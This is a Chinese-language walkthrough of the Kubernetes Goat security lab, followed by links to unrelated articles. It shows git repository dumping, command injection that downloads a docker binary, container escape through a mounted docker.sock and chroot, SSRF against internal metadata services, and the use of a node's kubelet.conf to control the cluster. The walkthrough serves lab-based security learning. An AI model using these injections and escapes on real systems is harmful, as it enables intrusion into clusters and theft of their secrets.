实验环境:https://katacoda.com/madhuakula/scenarios/kubernetes-goat

 0x1、敏感信息泄露利用

 第一关是代码泄露利用,打开网站后显示:

 告诉我们这是一个代码构建服务。

 我们可以测试是否存在git泄露

 可以访问到git的配置文件,然后可以尝试从网站转储 git存储库

 这里使用的工具是git-dumper:https://github.com/arthaud/git-dumper

 用法如下:

git-dumper http://website.com/.git ~/website

 它会自动遍历路径和获取代码。

 等待获取完成,然后查看获取的仓库内容:

 使用git log可以查看代码提交的日志记录:

 然后可以使用git checkout检出特定的提交,比如有一个包含环境变量的提交,检出来看看,说不定有敏感的信息:

 查看.env文件:

 还可以用另外一个工具trufflehog 对.git目录进行分析:

 产生漏洞的原因:开发人员提交代码的时候,将敏感信息也提交进去了。

 0x2、Docker in Docker 利用

 第二关是DIND (docker-in-docker) exploitation

 描述:大多数使用Docker并在管道构建容器的CI/CD和管道系统都使用称为DIND(docker-in-docker)的东西。简单来说就是在Docker容器中调用和执行宿主机的Docker。在此场景中,我们尝试利用并获得对宿主机系统的访问权限。

 访问后的页面内容:

 看起来像是存在命令注入漏洞,我们测试一下:

 果不其然。

 如果要利用docker in docker进行逃逸,前提是在docker容器运行的时候把docker.sock套接字文件一并挂载到了容器中。当我们拿到容器权限又存在挂载的docker.sock套接字文件,我们就可以通过 Docker Socket与宿主机的Docker服务进行通信,我们可以通过它创建新的容器,并把宿主机的目录挂载到新创建的容器中,这样我们就能访问宿主机的资源了。

 查看是否存在docker.sock挂载

 然后我们下载一个docker可执行程序,注入如下命令:

;wget https://download.docker.com/linux/static/stable/x86_64/docker-19.03.9.tgz -O /tmp/docker-19.03.9.tgz

 解压缩:

;tar -xvzf /tmp/docker-19.03.9.tgz -C /tmp/

 然后就可以利用docker.sock来访问宿主机系统并在宿主机上执行docker命令

;/tmp/docker/docker -H unix:///custom/docker/docker.sock ps

;/tmp/docker/docker -H unix:///custom/docker/docker.sock images

 0x3 SSRF漏洞

 第三关是SSRF in K8S world

 场景描述:SSRF(服务器端请求伪造)漏洞是云原生环境的首选攻击方式。在此场景中,我们将学习如何利用应用程序中存在的SSRF漏洞的来访问云实例元数据以及内部服务元数据信息。

 访问应用页面:

 这应该是一个内部API代理服务

 我们尝试一下访问内部的服务,比如容器服务

 可以看到内部有一个http://metadata-db服务,访问看看

 可以看到有一个latest的路径,我们继续访问http://metadata-db/latest/

 可以发现好几个路径,通过枚举尝试,最终在http://metadata-db/latest/secrets/kubernetes-goat中发现了关键信息:

 看起来像Base64编码的字符串,解密看看:

 0x4 容器逃逸到宿主系统(敏感目录挂载)

 访问这一关的页面

 是一个Linux shell环境

 场景描述

 大多数监控、跟踪和调试软件需要以额外的权限和功能运行。在这个场景中,我们看到一个具有额外功能和权限(甚至包含HostPath)的Pod,它允许我们访问宿主机系统并提供节点级配置,这样会带来可以获取整个集群控制权限的危害。

查看当前环境的基本信息

 可以发现当前用户权限是root,系统是运行在docker 容器中。

 查看挂载信息:

 可以看到一个host-system的挂载,像是直接挂载的宿主机分区。查看里面的内容:

 看起来像是把宿主机完整的系统都挂载进来了。

 那么我们可以用chroot切换到宿主机的目录,获取对宿主机系统的权限访问

chroot /host-system bash

 我们使用docker ps查看宿主机运行的容器

 我们的目的是控制整个Kubernetes集群,查看Kubernets节点级配置文件:

cat /etc/kubernetes/kubelet.conf 

 然后我们可以利用配置文件获取集群内的所有资源

kubectl --kubeconfig /etc/kubernetes/kubelet.conf  get all -n kube-system 

 0x5 Docker CIS 安全基线分析

 场景描述

 该场景主要是在 Kubernetes 节点之上进行 Docker CIS 基准分析,以识别可能存在的安全漏洞。

 首先需要部署docker bench security将它启动为DaemonSet

 kubectl apply -f scenarios/docker-bench-security/deployment.yaml

 访问docker-bench-security-xxxxx pod 并执行Docker CIS基线测试脚本。

controlplane $ kubectl exec -it docker-bench-security-5cq2h -- sh
~ # cd docker-bench-security/
~/docker-bench-security # ./docker-bench-security.sh

 如果有多个节点,就依次进入并执行。

 然后,可以根据 Docker CIS 安全基线测试中看到的漏洞进行进一步的利用或修复。

 0x6 Kubernetes CIS 安全基线分析

 场景描述

 本场景主要是在Kubernetes节点之上进行Kubernetes CIS基线分析,识别可能存在的安全漏洞。

 首先,我们在节点上部署kube-bench securityKubernetes job

controlplane $ kubectl apply -f scenarios/kube-bench-security/node-job.yaml
job.batch/kube-bench-node created
controlplane $ kubectl apply -f scenarios/kube-bench-security/master-job.yaml
job.batch/kube-bench-master created
controlplane $

 然后获取pod信息和查看jobs列表

 查看kube-bench-node-xxxxx pod 的日志

 然后,可以根据 Kubernetes CIS 安全基线测试中看到的漏洞进行进一步的利用。

 0x7 攻击私有仓库

 场景描述

 容器仓库是存储所有容器镜像的地方。大多数情况下,每个组织都有自己的私有仓库。有时候会因为配置错误,导致仓库处于公共/开放状态。另一方面来说,开发人员因为使用内部私有仓库,可能会在在容器镜像中存储一些敏感信息。

 因为这里已经设置好了私有仓库的端口,我们直接访问即可,如果是实际的安全测试中,需要进行扫描或者信息收集来确定私有仓库的地址和端口。

https://2886795289-1235-simba09b.environments.katacoda.com/v2/

 我们可以用一些API来测试访问仓库的信息

API文档参考:https://docs.docker.com/registry/spec/api/

https://2886795289-1235-simba09b.environments.katacoda.com/v2/_catalog //列出存储库

 查看具体的仓库信息:

https://2886795289-1235-simba09b.environments.katacoda.com/v2/madhuakula/k8s-goat-users-repo/manifests/latest

 经过审计,可以看到 docker 镜像信息中有API 密钥信息和 ENV 变量等敏感信息泄露。

 然后可以更进一步通过docker pull将镜像下载到本地并进行分析。另外在某些情况下,甚至可以根据权限和特权将恶意的镜像推送到仓库。

 0x8 NodePort 暴露风险

 场景描述

 NodePortKubernetes的三种外部访问方式之一。NodePort 服务是接通外部网络到你的服务的最原始方式。是指在所有节点上开放一个特定端口,任何发送到该端口的流量都被转发到对应服务。

 如果用户使用 NodePort 暴露了 Kubernetes 集群内的任何服务,这意味着如果运行 Kubernetes 集群的节点没有启用任何防火墙/网络安全策略。一些未经身份验证和未经授权的服务会被暴露和利用。

 获取Kubernetes节点外部IP地址列表,因为这里是实验测试环境的原因,所以 EXTERNAL-IP显示为<none>

kubectl get nodes -o wide

 默认情况下,NodePort的端口范围是30000-32767。可以使用Nmap等扫描工具进行扫描和服务识别。

 访问对应的端口查看暴露的服务信息

 此漏洞/攻击取决于 Kubernetes 集群的配置方式。

 更多靶场实验练习、网安学习资料,请点击这里>>

通过Kuberneters Goat学习K8S安全(上)的更多相关文章

  1. K8S线上集群排查,实测排查Node节点NotReady异常状态

    一,文章简述 大家好,本篇是个人的第 2 篇文章.是关于在之前项目中,k8s 线上集群中 Node 节点状态变成 NotReady 状态,导致整个 Node 节点中容器停止服务后的问题排查. 文章中所 ...

  2. MVC&WebForm对照学习:文件上传(以图片为例)

    原文  http://www.tuicool.com/articles/myM7fe 主题 HTMLMVC模式Asp.net 博客园::首页::  ::  ::  ::管理 5 Posts :: 0 ...

  3. Python+selenium测试环境成功搭建,简单控制浏览器(firefox)接下来,继续学习其他浏览器上的测试环境搭建;学习Python语言,利用Python语言来写测试用例。加油!!!

    Python+selenium测试环境成功搭建,简单控制浏览器(firefox)接下来,继续学习其他浏览器上的测试环境搭建:学习Python语言,利用Python语言来写测试用例.加油!!!

  4. 在IDEA中搭建Java源码学习环境并上传到GitHub上

    打开IDEA新建一个项目 创建一个最简单的Java项目即可 在项目命名填写该项目的名称,我这里写的项目名为Java_Source_Study 点击Finished,然后在项目的src目录下新建源码文件 ...

  5. PyTorch迁移学习-私人数据集上的蚂蚁蜜蜂分类

    迁移学习的两个主要场景 微调CNN:使用预训练的网络来初始化自己的网络,而不是随机初始化,然后训练即可 将CNN看成固定的特征提取器:固定前面的层,重写最后的全连接层,只有这个新的层会被训练 下面修改 ...

  6. Python 学习笔记(上)

    Python 学习笔记(上) 这份笔记是我在系统地学习python时记录的,它不能算是一份完整的参考,但里面大都是我觉得比较重要的地方. 目录 Python 学习笔记(上) 基础知识 基本输入输出 模 ...

  7. 2020年Yann Lecun深度学习笔记(上)

    2020年Yann Lecun深度学习笔记(上)

  8. k8s线上某些特殊情况强制删除 StatefulSet 的 Pod 要考虑什么隐患?

    k8s线上某些特殊情况强制删除 StatefulSet 的 Pod 要考虑什么隐患? 考点之什么情况下,需要强制删除 StatefulSet 的 Pod? 考点之如果 StatefulSet 操作不当 ...

  9. Web安全学习笔记 XSS上

    Web安全学习笔记 XSS上 繁枝插云欣 --ICML8 XSS的分类和基本认识 XSS的危害 同源策略的基本认识 一.XSS的分类和基本认识 1. 简介 XSS全称为Cross Site Scrip ...

随机推荐

  1. code-server服务端开发利器,再也不用vim装逼了!!!

    一直有个需求,就是万不得已在服务修改代码的时候能有个好的工具,至少比vim要强吧!虽然vim也还行,但是如果比vscode那一定是差了点!这个微软洗心革面的新工具着实不错!从刚开始的鄙视到真香我用了不 ...

  2. 如何强制关闭Win10自动更新

    今天我向往常一样打开了电脑,在工作时突然感觉CPU风扇嗡嗡的响电脑开始变得极慢内存也开始上涨,我意识到不妙了,Windows10 又开始在后台给我搞事情了,由于我的电脑安装有开机还原功能,所以每次开机 ...

  3. 阿里云人脸1:N搜索开源版-Java版(文末附开源地址)

    ​ 一.人脸检测相关概念 人脸检测(Face Detection)是检测出图像中人脸所在位置的一项技术,是人脸智能分析应用的核心组成部分,也是最基础的部分.人脸检测方法现在多种多样,常用的技术或工具大 ...

  4. SpringBoot 自定义参数类型转换convert

    创建一个配置类.使用 @bean注入到容器中 @Bean public WebMvcConfigurer webMvcConfigurer(){ /** * 实现自定义的addConverter */ ...

  5. Python中读写文件三部曲

    写入文件:要把第二个参数 'r' 改成 'w' ,表示write,即以写入的模式打开文件;  往文件中写入内容,使用write()函数. 例子如下:注意 'w' 写入模式会暴力清空掉原有文件,然后再写 ...

  6. 报表工具Smartbi有什么过人之处?为什么这两年备受推崇?

    Smartbi报表工具是思迈特软件公司的产品之一,完成从"类Excel"到"真Excel"的跨越,是企业级报表的最佳解决方案,主要有以下特点: 完全基于Exce ...

  7. Linux 查看网卡的MAC地址

    转至:https://www.cnblogs.com/kerrycode/p/13709537.html 如何使用命令查看网卡的MAC地址呢? 下面总结一下查看网卡MAC地址的方式. 1:ifconf ...

  8. 矩池云上使用nohup和&让任务后台运行

    1.nohup 用途:不挂断地运行命令. 语法:nohup Command [ Arg - ] [ & ] 无论是否将 nohup 命令的输出重定向到终端,输出都将附加到当前目录的 nohup ...

  9. php 23种设计模型 - 享元模式

    享元模式 享元模式(Flyweight Pattern)主要用于减少创建对象的数量,以减少内存占用和提高性能.这种类型的设计模式属于结构型模式,它提供了减少对象数量从而改善应用所需的对象结构的方式. ...

  10. egg-jwt的使用

    安装 npm install egg-jwt --save 配置 // config/config.default.js config.jwt = { secret: 'zidingyi', // 自 ...